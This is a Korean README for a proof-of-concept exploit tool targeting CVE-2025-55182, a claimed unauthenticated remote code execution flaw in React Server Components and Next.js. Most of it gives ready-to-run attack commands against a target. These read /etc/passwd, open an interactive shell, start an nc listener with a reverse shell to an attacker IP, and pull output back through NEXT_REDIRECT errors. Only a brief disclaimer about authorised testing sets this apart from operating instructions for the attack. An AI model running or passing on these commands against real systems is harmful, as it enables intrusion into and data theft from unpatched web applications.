
CVE-2025-55182 React2Shell PoC - React Server Components / Next.js의 치명적인 RCE. CVSS 10.0. 오류 기반 유출, 리버스 셸, 대화형 모드.
CVE-2025-55182에 대한 개념 증명으로, React Server Components에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.
CVSS 점수: 10.0 (심각)
이 취약점은 React의 Flight 프로토콜 역직렬화기에 존재합니다. 특수하게 조작된 페이로드를 통해 프로토타입 오염(prototype pollution)을 악용함으로써, 공격자는 취약한 Next.js 애플리케이션에서 임의 코드 실행을 달성할 수 있습니다.
| 제품 | 영향을 받는 버전 | 패치된 버전 |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
출력은 NEXT_REDIRECT 오류를 통해 HTTP 응답에 직접 반환됩니다 - 콜백 서버가 필요하지 않습니다.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# 리스너 시작
nc -lvnp 4444
# 페이로드 전송
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target Target URL (required)
-c, --command Command to execute (output via error-based exfil by default)
--check Check if target is vulnerable
--blind Blind RCE mode (no output capture)
--listen Use callback server instead of error-based exfil
-i, --interactive Interactive pseudo-shell mode
--revshell Attempt reverse shell
--lhost Attacker IP for callbacks/reverse shell
--lport Callback port (default: 9999)
--callback Manual callback URL
--timeout Request timeout in seconds (default: 30)
기본 추출 방법은 NEXT_REDIRECT 오류 주입을 사용합니다:
digest 필드에 출력을 포함한 NEXT_REDIRECT 오류를 발생시킵니다이는 대상에서 아웃바운드 네트워크 접근이 필요하지 않기 때문에 콜백 기반 추출보다 더 신뢰할 수 있습니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.
p3ta